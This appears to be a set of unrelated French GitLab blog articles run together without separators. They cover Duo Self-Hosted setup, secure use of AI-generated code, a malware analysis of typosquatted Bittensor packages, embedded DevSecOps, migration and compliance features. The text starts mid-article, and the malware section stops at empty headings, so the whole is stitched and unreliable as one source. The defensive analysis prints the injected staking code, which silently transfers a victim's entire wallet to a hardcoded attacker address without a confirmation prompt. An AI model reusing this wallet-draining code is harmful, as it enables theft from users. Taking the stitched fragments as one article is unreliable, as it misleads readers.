Après avoir lancé une vérification de l’état des services de votre modèle pour vous assurer qu'il est opérationnel, retournez à la section GitLab Duo depuis la page Admin et cliquez sur Lancer la vérification de l'état des services (Run health check).

Cela permet de vérifier si :

• L'URL de la passerelle d’IA est correctement configurée.

• Votre instance peut se connecter à la passerelle d’IA.

• La licence GitLab Duo est activée.

• Un modèle est assigné aux suggestions de code (car c'est le modèle utilisé pour tester la connexion).

Si l'état des services signale des problèmes, consultez notre guide de dépannage pour découvrir les erreurs courantes.

2. Testez les fonctionnalités de GitLab Duo

Essayez quelques fonctionnalités de GitLab Duo pour vous assurer qu'elles fonctionnent :

• Dans l'interface utilisateur, ouvrez GitLab Duo Chat et posez-lui une question.

• Ouvrez le Web IDE

• Créez un nouveau fichier de code et voyez si les suggestions de code apparaissent.

• Sélectionnez un extrait de code et utilisez la commande /explain pour recevoir une explication de GitLab Duo Chat.

3. Vérifiez les logs de la passerelle d’IA

Examinez les logs de la passerelle d’IA pour voir les requêtes arrivant à la passerelle depuis le modèle sélectionné.

Dans votre terminal, exécutez :

docker logs <ai-gateway-container-id>

Optionnel : dans AWS, vous pouvez activer CloudWatch et S3 comme destinations de logs. Cela vous permettra de voir toutes vos requêtes, prompts et réponses dans CloudWatch.

Avertissement : gardez à l'esprit que l'activation de ces logs dans AWS enregistre les données utilisateur, ce qui peut ne pas être conforme aux règles de confidentialité.

Et voilà, vous avez maintenant un accès complet à l'utilisation des fonctionnalités d’IA de GitLab Duo sur toute la plateforme tout en conservant un contrôle total sur le flux de données opérant au sein du cloud AWS sécurisé.

Prochaines étapes

Sélectionnez le bon modèle pour chaque cas d'usage

L'équipe GitLab teste activement les performances de chaque modèle pour chaque fonctionnalité et fournit un classement par niveau de performance et d'adéquation des modèles selon la fonctionnalité :

• Entièrement compatible : le modèle peut probablement gérer la fonctionnalité sans aucune perte de qualité.

• Largement compatible : le modèle prend en charge la fonctionnalité, mais il peut y avoir des compromis ou des limitations.

• Non compatible : le modèle ne convient pas à la fonctionnalité, entraînant probablement une perte significative de qualité ou des problèmes de performance.

À ce jour, la plupart des fonctionnalités GitLab Duo peuvent être configurées avec Self-Hosted. La vue d'ensemble complète est disponible dans notre documentation.

Au-delà d'AWS Bedrock

Bien que ce guide se concentre sur l'intégration AWS Bedrock, GitLab Duo Self-Hosted prend en charge plusieurs options de déploiement :

• Sur site avec vLLM : éxécutez des modèles localement avec vLLM pour des environnements complètement isolés.

• Azure OpenAI Service : similaire à AWS Bedrock, vous pouvez utiliser Azure OpenAI pour des modèles comme GPT-4.

Conclusion

GitLab Duo Self-Hosted offre une solution puissante pour les entreprises qui ont besoin d'outils de développement alimentés par l'IA tout en maintenant un contrôle strict sur leurs données et leur infrastructure. En suivant ce guide d'implémentation, vous pouvez déployer une solution robuste qui répond aux exigences de sécurité et de conformité sans compromettre les capacités avancées que l'IA apporte à votre cycle de développement logiciel.

Pour les entreprises ayant des besoins stricts en matière de sécurité et de conformité, GitLab Duo Self-Hosted trouve l'équilibre parfait entre innovation et contrôle, vous permettant d'exploiter la puissance de l'IA tout en préservant la sécurité de votre code et votre propriété intellectuelle.

Vous souhaitez en savoir plus sur la mise en œuvre de GitLab Duo Self-Hosted dans votre environnement ? Contactez notre équipe commerciale ou consultez notre documentation pour obtenir des informations plus détaillées.

Consultez le replay de notre webinaire GitLab Duo : une IA en auto hébergé respectueuse de la confidentialité des données.

Étant donné que l'écriture du code devient moins manuelle, un changement de comportement subtil mais non dénué de conséquences émerge : les développeurs commencent à faire confiance au code généré par l'IA sans le vérifier aussi minutieusement qu'auparavant. Aussi compréhensible soit-elle, cette pratique peut introduire des risques de sécurité inaperçus, d'autant plus lorsque le volume global de code augmente. Il serait irréaliste d'attendre des développeurs qu'ils maîtrisent toutes les vulnérabilités ou exploits existants. Ils ont donc besoin de systèmes et de mesures de protection capables d'évoluer à leur rythme. Les outils d'IA ne sont pas une mode transitoire, ils sont là pour durer. Les professionnels de la sécurité doivent donner aux équipes de développement les moyens de les adopter de manière à améliorer à la fois leur rapidité, leur efficacité, mais aussi la sécurité.

Voici trois bonnes pratiques pour y parvenir.

Ne jamais faire confiance sans vérifier

Comme nous l'avons évoqué dans l'introduction, les équipes de développement ont tendance à accorder une confiance croissante au code généré par l'IA, en particulier lorsqu'il semble bien structuré et se compile sans erreur. Pour lutter contre ce relâchement, adoptez un état d'esprit Zero Trust. Bien que le principe du Zero Trust soit généralement associé à la gestion des identités et des accès, ce concept s'applique aussi au code généré par l'IA, mais avec une nuance notable : il faut le traiter comme s'il s'agissait d'un code écrit par un développeur junior. Il peut être utile, mais il ne doit jamais être déployé en production sans une revue rigoureuse.

Chaque développeur doit être en mesure d'expliquer le fonctionnement du code et de garantir sa sécurité avant qu'il ne soit fusionné. Dans ce contexte, la capacité à effectuer une revue en bonne et due forme du code généré par l'IA émerge comme une compétence à part entière et incontournable dans le développement logiciel. Les développeurs qui excellent dans ce domaine seront indispensables, car ils allient rapidité des LLM et réduction des risques de manière réfléchie pour produire un code sécurisé, plus rapidement.

Des outils comme la revue de code de GitLab Duo peuvent vous assister. Intégrée à notre assistant IA sur l'ensemble du cycle de développement, cette fonctionnalité enrichit le processus de revue de code. Son objectif n'est pas de remplacer l'expertise humaine, mais de la renforcer : en identifiant les oublis, les incohérences et les zones d'ombre dans les merge requests, l'IA aide les équipes à tenir le rythme de cycles de développement accélérés.

Sécuriser les modèles à l'aide de prompts

La puissance des grands modèles de langage (LLM) n'est plus à prouver, mais leur précision dépend des prompts qui leur sont fournis. C'est pourquoi l'ingénierie des prompts devient une compétence centrale de l'utilisation des outils d'IA. Dans le monde des LLM, la requête que vous formulez est votre interface. Les équipes qui apprennent à rédiger des prompts clairs et orientés sécurité joueront un rôle déterminant dans la création de logiciels plus sûrs dès les premières lignes de code.

Des requêtes vagues produisent souvent des résultats vulnérables ou trop simplistes, par exemple, un prompt tel que « crée un formulaire de connexion ». En revanche, le résultat répondra aux normes de sécurité de votre entreprise si vous incluez plus de contexte avec une requête du type « crée un formulaire de connexion avec validation des intrants, limitation du débit, hachage sécurisé et prise en charge de méthodes d'authentification résistantes à l'hameçonnage, comme les clés d'accès ».

Une étude récente de Backslash Security le confirme. Elle montre que les prompts spécifiquement orientés sécurité améliorent considérablement les résultats dans les LLM les plus courants. Lorsque les développeurs demandent simplement aux modèles d'« écrire du code sécurisé », la probabilité d'obtenir un résultat sécurisé reste faible. En revanche, les prompts qui font référence aux bonnes pratiques de l'OWASP guident efficacement les LLM.

À l'avenir, l'ingénierie des prompts devra faire partie intégrante de la formation des équipes de sécurité au sein des équipes de développement logiciel. Tout comme sont enseignés les coding patterns sécurisés et la modélisation des menaces, expliquer aux développeurs comment guider les outils d'IA sans se départir de cette approche centrée sur la sécurité devient indispensable.

Pour aller plus loin, consultez ces conseils utiles sur l'ingénierie des prompts.

Tout analyser, sans exception

Avec l'essor de l'IA, les équipes écrivent davantage de code, plus rapidement, sans pour autant être plus nombreuses. Ce changement doit profondément modifier notre conception de la sécurité. Il ne s'agit plus seulement d'une vérification finale, mais d'une protection permanente intégrée à tous les aspects du processus de développement.

Une plus grande quantité de code implique davantage de possibilités d'attaques. Et lorsque ce code est partiellement ou entièrement généré, il devient illusoire de s'en remettre uniquement à des pratiques de codage sécurisées ou à l'intuition de chaque développeur pour repérer les vulnérabilités. C'est là que le scanning de sécurité automatisé entre en jeu. Les tests statiques de sécurité des applications (SAST), l'analyse de la composition logicielle (SCA) et la détection des secrets sont aujourd'hui des garde-fous indispensables pour atténuer le risque de fuites de secrets, d'attaques de la chaîne d'approvisionnement logicielle et de faiblesses telles que les injections SQL. Sur des plateformes comme GitLab, la sécurité des applications est intégrée en amont dans le workflow des équipes de développement et représente un composant à part entière du cycle de développement. Les scanners peuvent également parcourir l'ensemble du programme pour s'assurer que le nouveau code généré par l'IA est sécurisé dans le contexte de tout le reste du code. Cela peut être difficile à repérer si vous ne vérifiez que le nouveau code dans votre IDE ou dans un correctif généré par l'IA.

Mais les analyses ne suffisent pas, il s'agit de tenir le rythme. Si les équipes de développement veulent suivre la rapidité du développement assisté par l'IA, elles ont besoin d'analyses rapides, précises et évolutives. L'exactitude est particulièrement importante. Si les scanners submergent les équipes de développement de faux positifs, ces dernières risquent de perdre entièrement confiance dans le système.

La seule façon d'agir rapidement et de maintenir la sécurité est d'imposer les scans.

À chaque commit. Sur chaque branche. Sans exception.

Sécurisez votre code généré par l'IA avec GitLab

L'IA modifie la façon dont nous créons des logiciels, mais les principes fondamentaux du développement logiciel sécurisé s'appliquent toujours : le code doit faire l'objet d'une revue rigoureuse, des tests doivent être effectués pour contrer les menaces et la sécurité doit toujours être intégrée à chaque étape du cycle de développement. C'est précisément l'approche adoptée par GitLab.

Notre plateforme de développement n'ajoute pas la sécurité en bout de chaîne au workflow. Elle l'intègre directement là où les équipes travaillent déjà : dans l'IDE, dans les merge requests et à chaque étape du pipeline CI/CD. Les scans s'exécutent automatiquement, et le contexte de sécurité le plus pertinent est mis en évidence pour accélérer les cycles de correction. Comme ces fonctionnalités sont disponibles sur une seule plateforme, celle-là même où les équipes de développement créent, testent et déploient des logiciels, ces dernières n'ont pas à jongler entre différents outils, ni à changer de contexte ou lutter pour obtenir du code sécurisé.

Les fonctionnalités d'IA telles que l'explication et la résolution des vulnérabilités de GitLab Duo améliorent la rapidité de développement et mettent à disposition des informations stratégiques qui aident les équipes à comprendre les risques et à les corriger plus rapidement, sans interrompre leur workflow.

L'IA n'est pas une solution miracle pour sécuriser le code. Néanmoins, associée aux bonnes pratiques et à une plateforme conçue pour les développeurs, elle peut participer grandement à la création rapide de logiciels sécurisés et évolutifs.

Essayez gratuitement GitLab Ultimate avec GitLab Duo Enterprise et créez des logiciels sécurisés, plus rapidement. Grâce au scanning de sécurité natif, aux analyses alimentées par l'IA et à une expérience développeur optimisée, GitLab vous aide à renforcer la sécurité en amont, sans jamais freiner l'innovation.

Notre enquête a commencé lorsque le système de surveillance automatisée des paquets de GitLab a signalé une activité suspecte liée à des paquets Bittensor prisés. Nous avons découvert plusieurs variantes de paquets Bittensor ayant fait l'objet de typosquatting, qui avaient pour objectif de voler de la cryptomonnaie dans les portefeuilles de développeurs et d'utilisateurs peu méfiants.

Les paquets malveillants identifiés ont tous été publiés au cours d'une fenêtre de 25 minutes le 6 août 2025 :

• bitensor@9.9.4 (02:52 UTC)

• bittenso-cli@9.9.4 (02:59 UTC)

• qbittensor@9.9.4 (03:02 UTC)

• bitensor@9.9.5 (03:15 UTC)

• bittenso@9.9.5 (03:16 UTC)

Tous les paquets étaient conçus pour imiter les véritables paquets bittensor et bittensor-cli, des composants essentiels du réseau d'IA décentralisé Bittensor.

Analyse technique : déroulement du vol

Notre analyse a révélé un vecteur d'attaque soigneusement orchestré où les cybercriminels avaient modifié la fonctionnalité de staking d'origine pour voler des fonds. Les paquets malveillants contenaient une version détournée de la fonction stake_extrinsic dans bittensor_cli/src/commands/stake/add.py.

Là où les utilisateurs s'attendaient à une opération de staking normale, les attaquants avaient inséré du code malveillant à la ligne 275 qui détournait tous les fonds vers leur portefeuille :

result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination="5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR",
  amount=amount,
  transfer_all=True,
  prompt=False
)

Ce processus malveillant corrompait complètement le processus de staking :

• Exécution indétectable : utilisation de prompt=False pour contourner la confirmation de l'utilisateur

• Vol complet du portefeuille : définition de transfer_all=True pour voler tous les fonds disponibles, pas seulement le montant de staking

• Destination codée en dur : transfert de tous les fonds vers l'adresse du portefeuille du cybercriminel

• Caché à la vue de tous : exécution pendant une opération de staking en apparence normale

L'attaque est particulièrement insidieuse, car les utilisateurs croient qu'ils stakent des tokens pour gagner des récompenses, mais à la place, la fonction modifiée vide entièrement leur portefeuille.

Pourquoi cibler la fonctionnalité de staking ?

Les attaquants semblent avoir spécifiquement ciblé les opérations de staking pour des raisons calculées. Dans les réseaux blockchain comme Bittensor, le staking consiste à verrouiller ses tokens de cryptomonnaie pour soutenir les opérations du réseau afin de gagner des récompenses en retour, un processus que l'on peut comparer aux intérêts versés sur un compte épargne.

Le staking est ainsi un vecteur d'attaque idéal :

1. Cibles de grande valeur : les utilisateurs qui stakent détiennent généralement des avoirs substantiels en cryptomonnaie, ce qui en fait des victimes particulièrement intéressantes.

2. Accès requis au portefeuille : les opérations de staking nécessitent que les utilisateurs déverrouillent leurs portefeuilles et fournissent une authentification. Cette opération donne au code malveillant exactement ce dont celui-ci a besoin pour vider les fonds.

3. Activité réseau attendue : puisque le staking implique naturellement des transactions blockchain, le transfert malveillant supplémentaire n'éveille pas immédiatement les soupçons.

4. Opérations routinières : les utilisateurs expérimentés stakent régulièrement ; ce processus familier les pousse à la complaisance et endort leur vigilance.

5. Détection retardée : les utilisateurs pourraient d'abord supposer que les transactions correspondent à des frais de staking normaux ou à des retenues temporaires, ce qui retarde la découverte du vol.

En cachant du code malveillant dans une fonctionnalité de staking d'apparence légitime, les cybercriminels ont exploité à la fois les exigences techniques et la psychologie des utilisateurs des opérations de blockchain routinières.

Suivre l'argent

L'équipe de recherche dédiée aux vulnérabilités de GitLab a cherché à identifier l'origine des flux de cryptomonnaie pour comprendre l'ampleur de cette opération. Le portefeuille de destination principal 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR a servi de point de collecte central avant que les fonds ne soient distribués à travers un réseau de portefeuilles intermédiaires.

Le réseau de blanchiment d'argent

Notre analyse a révélé un mécanisme de blanchiment à plusieurs sauts :

1. Collecte principale : les fonds volés arrivent initialement sur 5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR

2. Réseau de distribution : les fonds sont rapidement déplacés vers des portefeuilles intermédiaires :

   • 5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1
   • 5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC
   • 5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6
   • 5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL

3. Consolidation finale : tous les chemins convergent finalement vers 5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu

4. Portefeuille où l'argent est encaissé : la destination finale semble être 5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ

Le typosquatting

Les cybercriminels ont utilisé une stratégie de typosquatting qui exploite les erreurs de frappe courantes et les conventions de nommage des paquets :

• Caractères manquants : bitensor au lieu de bittensor ('t' manquant)

• Troncation : bittenso au lieu de bittensor ('r' final manquant)

• Imitation de version : tous les paquets utilisaient des numéros de version (9.9.4, 9.9.5) qui correspondaient étroitement aux versions des véritables paquets.

Cette approche maximise les chances d'installation en raison des erreurs de frappe des équipes de développement lors des commandes pip install et des erreurs de copier-coller depuis la documentation.

Perspectives : l'avenir de la sécurité de la chaîne d'approvisionnement

GitLab continue d'investir dans la recherche proactive en matière de sécurité pour identifier et neutraliser les menaces avant qu'elles n'impactent notre communauté. Notre système de détection automatisé travaille 24 heures sur 24 pour protéger la chaîne d'approvisionnement logicielle qui alimente le développement moderne.

La détection et l'analyse rapides de cette attaque démontrent la valeur des mesures de sécurité proactives dans la lutte contre les menaces sophistiquées. En partageant nos découvertes, nous visons à renforcer la résilience de l'écosystème entier en cas de futures attaques.

Indicateurs de compromission

Chronologie

Cette approche consiste à appliquer des pratiques d'ingénierie collaborative, des chaînes d'outils intégrées et une automatisation des processus de compilation, de test et de sécurisation des logiciels au développement de systèmes embarqués. Elle introduit également les ajustements nécessaires pour tenir compte des spécificités matérielles.

Convergence des forces du marché

Les équipes en charge des systèmes embarqués doivent désormais faire face à une convergence de trois grandes forces du marché qui rendent la modernisation de leurs pratiques inévitable.

1. L'essor des produits définis par logiciel

Les produits autrefois définis principalement par leur composant matériel se différencient désormais par leurs capacités logicielles. Cette évolution est particulièrement visible sur le marché des véhicules définis par logiciel (SDV), dont la valeur devrait passer de 213,5 milliards de dollars en 2024 à 1,24 billions de dollars d'ici 2030, soit un taux de croissance annuel moyen de 34 %. La part du contenu logiciel embarqué de ces véhicules explose. D'ici fin 2025, chaque véhicule contiendra en moyenne 650 millions de lignes de code. Les approches traditionnelles du développement de systèmes embarqués ne parviennent pas à gérer ce niveau de complexité logicielle.

2. La virtualisation matérielle comme catalyseur technique

La virtualisation matérielle joue un rôle technique central dans l'approche DevSecOps pour le développement de systèmes embarqués. Les unités de commande électronique virtuelles (vECU), les processeurs ARM hébergés sur le cloud et les environnements de simulation sophistiqués sont de plus en plus répandus. Le matériel virtuel permet d'effectuer des tests qui nécessitaient autrefois du matériel physique.

Ces technologies de virtualisation posent les bases de l'intégration continue (CI). Toutefois, ce n'est que lorsqu'elles sont intégrées dans des workflows automatisés que leur utilisation fait sens. Combinés à des pratiques de développement collaboratif et à des pipelines CI/CD automatisés, les tests virtuels aident les équipes à détecter les problèmes beaucoup plus tôt, lorsque l'application de correctifs est bien moins onéreuse. Sans approche DevSecOps pour le développement de systèmes embarqués et sans outils pour orchestrer ces ressources virtuelles, les entreprises ne peuvent pas tirer profit de la virtualisation.

3. La pression concurrentielle et économique

Trois dynamiques corrélées modifient le paysage concurrentiel du développement de systèmes embarqués :

• Les nouvelles générations d'ingénieurs ont des attentes bien précises. Comme l'explique un responsable du développement de systèmes embarqués chez un client de GitLab : « Les jeunes diplômés développant des systèmes embarqués ne connaissent pas les outils hérités comme Perforce. Ils ont été formés sur Git. S'ils doivent utiliser des outils dépassés, ils démissionnent au bout de six mois. » Les entreprises qui persistent à utiliser des outils obsolètes risquent de perdre leur capacité à attirer les meilleurs ingénieurs.
• À l'inverse, les entreprises à la pointe de la technologie qui attirent les ingénieurs les plus talentueux avec des pratiques modernes ont un avantage majeur sur leurs concurrents et obtiennent des résultats remarquables. Par exemple, en 2024, SpaceX a réalisé le plus grand nombre de lancements orbitaux dans le monde. Les entreprises qui utilisent les dernières technologies excellent dans le développement logiciel et adoptent une culture de développement moderne. Elles obtiennent notamment des résultats que les entreprises qui continuent de faire appel à des outils traditionnels ont du mal à égaler.
• Les longs cycles de rétroaction alourdissent considérablement les coûts du développement embarqué et rendent l'adoption d'une approche DevSecOps plus urgente que jamais. Lorsque les équipes de développement doivent patienter plusieurs semaines pour tester leur code sur des bancs d'essai matériels, la productivité chute intrinsèquement : les ingénieurs perdent le fil et doivent changer de contexte lorsque les résultats des tests leur parviennent. Ce phénomène s'aggrave encore lorsque des bogues sont découverts tardivement, et les correctifs deviennent plus coûteux à implémenter. Dans les systèmes embarqués, ces délais sont structurels.

Seule une approche DevSecOps permet de répondre efficacement à ces problématiques.

Axes de transformation prioritaires

Portées par ces dynamiques de marché, les entreprises avant-gardistes dans le domaine des systèmes embarqués adoptent une approche DevSecOps pour transformer en profondeur leurs pratiques.

Mise en place de tests continus

Les goulots d'étranglement matériels représentent l'une des contraintes les plus importantes du développement traditionnel de systèmes embarqués. Ces retards créent des conditions économiques défavorables dues à l'accès tardif au matériel et à l'augmentation des coûts qui en résultent. Pour résoudre ce problème, il est nécessaire d'adopter une approche multidimensionnelle :

• Automatiser l'orchestration des bancs de test matériel partagés, souvent coûteux, entre les développeurs
• Intégrer les tests SIL (Software-in-the-Loop) et HIL (Hardware-in-the-Loop) dans des pipelines CI automatisés
• Standardiser les environnements de compilation avec un contrôle de version rigoureux

Avec le composant CI/CD On-Premises Device Cloud de GitLab, les équipes de développement de systèmes embarqués peuvent automatiser l'orchestration des tests de micrologiciels sur du matériel virtuel et réel. Elles réduisent ainsi plus facilement les cycles de rétroaction de plusieurs semaines à quelques heures et détectent les bogues dès le début du cycle du développement logiciel.

Automatisation de la conformité et de la sécurité

Les systèmes embarqués évoluent dans un environnement fortement réglementé, où les processus de conformité manuels ne sont plus viables. Les entreprises à la pointe automatisent la gouvernance de leurs processus de sécurité et de conformité en adoptant plusieurs pratiques clés :

• Elles remplacent les workflows manuels par des frameworks de conformité automatisés.
• Elles intègrent des outils spécialisés de sécurité fonctionnelle, de cybersécurité et de qualité du code dans des pipelines CI automatisés.
• Elles automatisent les workflows d'approbation, en appliquant systématiquement des revues de code et en maintenant des pistes d'audit complètes.
• Elles configurent des frameworks de conformité alignés sur des normes sectorielles, telles que ISO 26262 ou DO-178C.

Cette approche permet une plus grande maturité en matière de conformité sans effectifs supplémentaires. Ce qui constituait autrefois un fardeau devient un avantage concurrentiel. Un grand constructeur de véhicules électriques exécute ainsi 120 000 jobs CI/CD par jour avec GitLab, dont une part importante inclut des contrôles de conformité. Grâce à cette automatisation, l'entreprise peut corriger les bogues et déployer des corrections sur ses véhicules dans l'heure qui suit leur découverte. Un tel niveau d'évolutivité et de réactivité serait extrêmement difficile à atteindre sans l'automatisation des workflows de conformité.

Innovation collaborative

Historiquement, pour des raisons commerciales et techniques légitimes, les équipes chargées du développement de systèmes embarqués travaillaient souvent seules à leur bureau. Les possibilités de collaboration étaient ainsi limitées. Pour remédier à cette situation, les entreprises innovantes fournissent une visibilité partagée du code grâce à un contrôle de version intégré et à des workflows CI/CD. Ces pratiques modernes attirent et fidélisent les ingénieurs tout en favorisant l'innovation. Comme le souligne le directeur DevOps d'un grand constructeur automobile à la pointe de la technologie (client de GitLab) : « Il est vraiment essentiel pour nous de travailler sur une seule plateforme où il est facile de vérifier le statut de nos workflows. Lorsque les développeurs soumettent une merge request, ils ont immédiatement une visibilité sur le statut du workflow concerné afin de pouvoir agir le plus rapidement possible. » Cette transparence accélère l'innovation. Elle permet aux constructeurs automobiles d'itérer rapidement sur les fonctionnalités logicielles qui différencient leurs véhicules sur un marché de plus en plus concurrentiel.

Une fenêtre d'opportunité

Les leaders du développement de systèmes embarqués disposent aujourd'hui d'une fenêtre d'opportunité unique pour prendre une longueur d'avance en adoptant l'approche DevSecOps. Mais ils doivent agir rapidement, car à mesure que les logiciels deviennent le principal levier de différenciation des produits embarqués, l'écart entre les pionniers et les retardataires ne cessera de se creuser. Les entreprises qui réussiront cette transition réduiront leurs coûts, accéléreront leurs délais de mise sur le marché et développeront des logiciels plus innovants qui leur permettront de se différencier. Les leaders du secteur de demain seront ceux qui, dès aujourd'hui, font le choix de l'approche DevSecOps.

Bien que cet article mette en lumière les raisons pour lesquelles il est désormais essentiel pour les équipes de développement de systèmes embarqués d'adopter l'approche DevSecOps, vous vous demandez peut-être par où commencer. Pour passer à l'action, découvrez comment mettre ces concepts en pratique dans notre guide : Accélérez le développement de systèmes embarqués avec GitLab.

Le transfert direct vous permet de créer facilement une copie des ressources GitLab de votre choix sur la même instance ou sur une autre instance GitLab. Vous pouvez utiliser l'interface utilisateur ou l'API. L'interface utilisateur est intuitive et simple d'utilisation, tandis que l'API vous offre une flexibilité supplémentaire pour choisir les ressources à copier.

La migration par transfert direct représente une amélioration majeure par rapport à la migration de groupes et de projets via l'exportation de fichiers pour les raisons suivantes :

• Vous n'avez plus besoin d'exporter manuellement chaque groupe et projet individuel vers un fichier, puis d'importer tous ces fichiers vers un nouvel emplacement. Désormais, vous pouvez directement migrer tout groupe de niveau supérieur dont vous avez le rôle de propriétaire avec tous ses sous-groupes et projets.
• Elle permet le mappage des contributions utilisateur après l'importation (comme la paternité des tickets ou des commentaires), ce qui vous offre plus de flexibilité et de contrôle.
• Elle fonctionne de manière fiable avec des projets volumineux. Grâce au traitement par lots des ressources et à l'exécution simultanée des processus d'importation et d'exportation, les risques d'interruption ou de délai d'attente dépassé sont considérablement réduits.
• Elle offre une meilleure visibilité sur la migration pendant son exécution ainsi qu'après sa finalisation. Dans l'interface utilisateur, vous pouvez observer l'augmentation des nombres à mesure que de nouveaux éléments sont importés. Ensuite, vous pouvez examiner les résultats de l'importation. Vous pouvez voir qu'un élément a été importé grâce au badge Imported sur les éléments dans l'interface utilisateur GitLab.

Nous avons parcouru un long chemin depuis GitLab 14.3, lorsque nous avons commencé à prendre en charge la migration directe des ressources de groupe. Dans GitLab 15.8, nous avons étendu cette fonctionnalité aux projets en version bêta. Depuis, nous avons travaillé à améliorer l'efficacité et la fiabilité de l'importation, en particulier pour les projets volumineux. Nous avons minutieusement examiné la fonctionnalité du point de vue de la sécurité et de la stabilité des instances.

Pour vous donner un exemple de la taille des groupes et des projets que nous avons testés, ainsi que de leur durée d'importation, nous avons constaté des importations réussies de :

• 100 projets (19 900 tickets, 83 000 merge requests, plus de 100 000 pipelines) migrés en 8 heures
• 1 926 projets (22 000 tickets, 160 000 merge requests, 1,1 million de pipelines) migrés en 34 heures

Sur GitLab.com, la migration par transfert direct est activée par défaut, tandis que sur GitLab Self-Managed et sur GitLab Dedicated, un administrateur doit activer la fonctionnalité dans les paramètres de l'application.

Quand utiliser la migration par transfert direct et comment obtenir les meilleurs résultats ?

La migration par transfert direct nécessite une connexion réseau entre les instances ou GitLab.com. Par conséquent, les clients qui utilisent des réseaux air-gapped sans connectivité entre leurs instances GitLab doivent toujours utiliser l'exportation de fichiers pour copier leurs données GitLab. Ils pourront utiliser la migration de groupes et de projets par transfert direct lorsque nous étendrons cette solution pour prendre en charge les instances hors ligne.

Avant de tenter une migration, consultez notre documentation, y compris les prérequis, les éléments de groupe et les éléments de projet qui sont migrés. Certains éléments sont exclus de la migration ou ne sont pas encore pris en charge.

Migrez entre les versions les plus récentes possibles

Nous recommandons de migrer entre des versions aussi récentes que possible. Mettez à jour les instances source et destination pour profiter de toutes les améliorations et corrections de bogues que nous avons ajoutées au fil du temps.

Préparez-vous au mappage des contributions utilisateur après la migration

Familiarisez-vous avec le processus de mappage des contributions et des appartenances utilisateur afin de savoir à quoi vous attendre une fois la migration terminée et quelles sont les prochaines étapes à suivre.

Examinez les options pour réduire la durée de migration

Selon l'endroit où vous migrez (GitLab.com, une instance auto-gérée ou Dedicated) vous pouvez utiliser diverses stratégies pour réduire la durée de migration.

Comment puis-je examiner les résultats ?

Vous pouvez consulter tous les groupes et projets que vous avez migrés par transfert direct sur la page d'historique d'importation de groupe. Pour chaque groupe et projet, vous pouvez consulter les statistiques des éléments importés et examiner plus en détails si certains éléments n'ont pas été importés. Vous pouvez également utiliser les points de terminaison API pour faire de même.

Dans les cas où la plupart de vos projets se sont terminés avec succès mais qu'un ou deux finissent par manquer certaines relations, comme des merge requests ou des tickets, nous vous recommandons d'essayer de réimporter ces projets en utilisant l'API.

Quelle est la prochaine étape pour la migration par transfert direct ?

Nous sommes ravis de rendre la migration par transfert direct disponible et nous espérons que vous l'êtes aussi ! Nous souhaitons connaître votre avis. Quel est l'élément qui vous manque le plus ? Que pouvons-nous améliorer ? Faites-le nous savoir dans ce ticket et nous continuerons à itérer !

Pour résoudre ce problème, GitLab lance les frameworks de conformité personnalisés et 50 contrôles préconfigurés pour une large gamme de normes de conformité, notamment ISO 27001, le benchmark CIS et SOC 2.

Les frameworks de conformité personnalisés permettent aux entreprises de mapper plusieurs contrôles qui se chevauchent, issus de différentes normes et réglementations, en un framework unique et unifié. Cette flexibilité apporte une efficacité indispensable, permettant aux entreprises d'adapter leurs programmes de conformité en fonction de leurs besoins. Comme ces politiques sont intégrées directement dans les pipelines CI/CD de GitLab, la conformité est appliquée automatiquement, sans perturber le développement.

De plus, avec les contrôles préconfigurés, les équipes peuvent accélérer l'adoption de la conformité, éliminant le besoin d'outils externes ou de configurations personnalisées complexes. En intégrant la conformité directement dans le cycle de développement logiciel, GitLab offre une visibilité en temps réel, une application automatisée et une préparation aux audits simplifiée pour que les équipes puissent livrer des logiciels sécurisés et conformes, plus rapidement.

Les frameworks de conformité personnalisés et les contrôles préconfigurés sont disponibles dès maintenant dans GitLab Ultimate.

Une pression croissante en matière de conformité

Les entreprises doivent naviguer entre différents frameworks de conformité pour garantir le respect de nombreuses réglementations et fournir une assurance à leurs clients. Bien que ces frameworks partagent souvent des contrôles communs, ces derniers sont rarement alignés. Le résultat est une réalité que les équipes de conformité ne connaissent que trop bien : un suivi manuel via des feuilles de calcul qui génère le chaos, en particulier lors des examens d'audit.

Les équipes de développement sont entraînées dans le tourbillon de la conformité car le développement de logiciels modernes est au cœur de la satisfaction de bon nombre de ces contrôles. Au lieu de créer et de livrer des logiciels sécurisés, ils se retrouvent à soutenir la collecte de preuves et les revues de conformité. Une étude « Total Economic Impact™ » sur GitLab Ultimate et menée par Forrester a révélé qu'avant GitLab, les équipes de développement consacraient jusqu'à 80 heures par an de leur temps sur des tâches d'audit et de conformité, du temps détourné de l'écriture de code et de la création de valeur commerciale.

En plus d'être inefficace, cette approche fragmentée est également coûteuse. Les coûts liés à la conformité ont augmenté de 60 % au cours des cinq dernières années, selon le CATO Institute. Sans un système qui connecte l'application de la conformité à l'endroit où les logiciels sont créés, la conformité restera une réflexion après coup contraignante qui creuse un fossé entre les équipes de développement et de sécurité.

Pourquoi les frameworks de conformité personnalisés sont-ils importants ?

Nos clients nous ont demandé une plus grande flexibilité en matière de suivi et d’application de la conformité dans les workflows DevSecOps. Avec cette version, nous sommes heureux de donner à nos clients les moyens suivants :

Une conformité qui s'adapte à l'entreprise, et non l'inverse

Les exigences réglementaires se chevauchent entre plusieurs frameworks, ce qui entraîne une complexité dans le suivi et l'application. Les frameworks de conformité personnalisés permettent aux entreprises de créer un framework unifié qui associe les exigences et les contrôles de plusieurs normes, réduisant l'effort manuel et la dépendance à des consultants souvent coûteux.

Une conformité plus rapide, de la configuration jusqu'aux audits

Commencez à surveiller la conformité instantanément avec des contrôles préconfigurés alignés sur les normes de conformité clés, telles que SOC 2, ISO 27001 et les benchmarks CIS. La surveillance automatisée de la conformité et la collecte de preuves réduisent la préparation des audits de plusieurs semaines à quelques jours, permettant aux équipes de développement de rester concentrées sur la livraison de logiciels sécurisés.

